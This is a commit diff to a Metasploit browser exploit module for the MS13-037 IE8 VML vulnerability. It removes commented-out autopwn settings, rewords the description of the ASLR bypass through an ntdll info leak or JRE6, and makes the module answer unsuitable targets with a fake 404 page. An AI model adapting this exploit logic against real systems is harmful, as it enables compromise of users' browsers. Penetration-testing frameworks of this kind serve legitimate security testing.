Change description a bit

Author: wchen-r7

modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb

@@ -10,17 +10,6 @@ class Metasploit3 < Msf::Exploit::Remote
 
   include Msf::Exploit::Remote::BrowserExploitServer
   include Msf::Exploit::RopDb
-  #include Msf::Exploit::Remote::BrowserAutopwn
-
-  #autopwn_info({
-  #  :ua_name    => HttpClients::IE,
-  #  :ua_minver  => "8.0",
-  #  :ua_maxver  => "8.0",
-  #  :javascript => true,
-  #  :os_name => OperatingSystems::Match::WINDOWS,
-  #  :rank       => Rank
-  #})
-
 
   def initialize(info={})
     super(update_info(info,
@@ -30,15 +19,18 @@ def initialize(info={})
         The vulnerability exists in the handling of the dashstyle.array length for vml
         shapes on the vgx.dll module.
 
-          This module has been built and tested specifically against Windows 7 SP1 with
+          The exploit has been built and tested specifically against Windows 7 SP1 with
         Internet Explorer 8. It uses either JRE6 or an information leak (to ntdll) to
-        bypass ASLR, and by default the info leak is used. The ntdll version should be
-        either v6.1.7601.17514 (the default dll version on a newly installed/unpatched
-        Windows 7 SP1), or ntdll.dll v6.1.7601.17725 (installed after apply MS12-001).
+        bypass ASLR, and by default the info leak is used. To make sure the leak is
+        successful, the ntdll version should be either v6.1.7601.17514 (the default dll
+        version on a newly installed/unpatched Windows 7 SP1), or ntdll.dll v6.1.7601.17725
+        (installed after apply MS12-001). If the target doesn't have the version the exploit
+        wants, it will refuse to attack by sending a fake 404 message (webpage not found).
 
           If you wish to try the JRE6 component instead to bypass ASLR, you can set the
         advanced datastore option to 'JRE6'. If JRE6 is chosen but the target doesn't
-        have this particular component, the exploit will refuse the attack.
+        have this particular component, the exploit will also refuse to attack by
+        sending a 404 message.
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
@@ -389,6 +381,7 @@ def on_request_exploit(cli, request, target_info)
     rescue RuntimeError => e
       # This one is just a warning, because it's a requirement check so it's not that scary.
       print_warning(e.message)
+      send_not_found(cli)
       return
     end
 
@@ -421,7 +414,7 @@ def on_request_exploit(cli, request, target_info)
         @ntdll_version = "6.1.7601.17725" # MS12-001
         @ntdll_base = leak - 0x47090
       else
-        print_error("ntdll version not detected, sending 404: #{agent}")
+        print_warning("ntdll version not detected, sending 404: #{agent}")
         send_not_found(cli)
         return
       end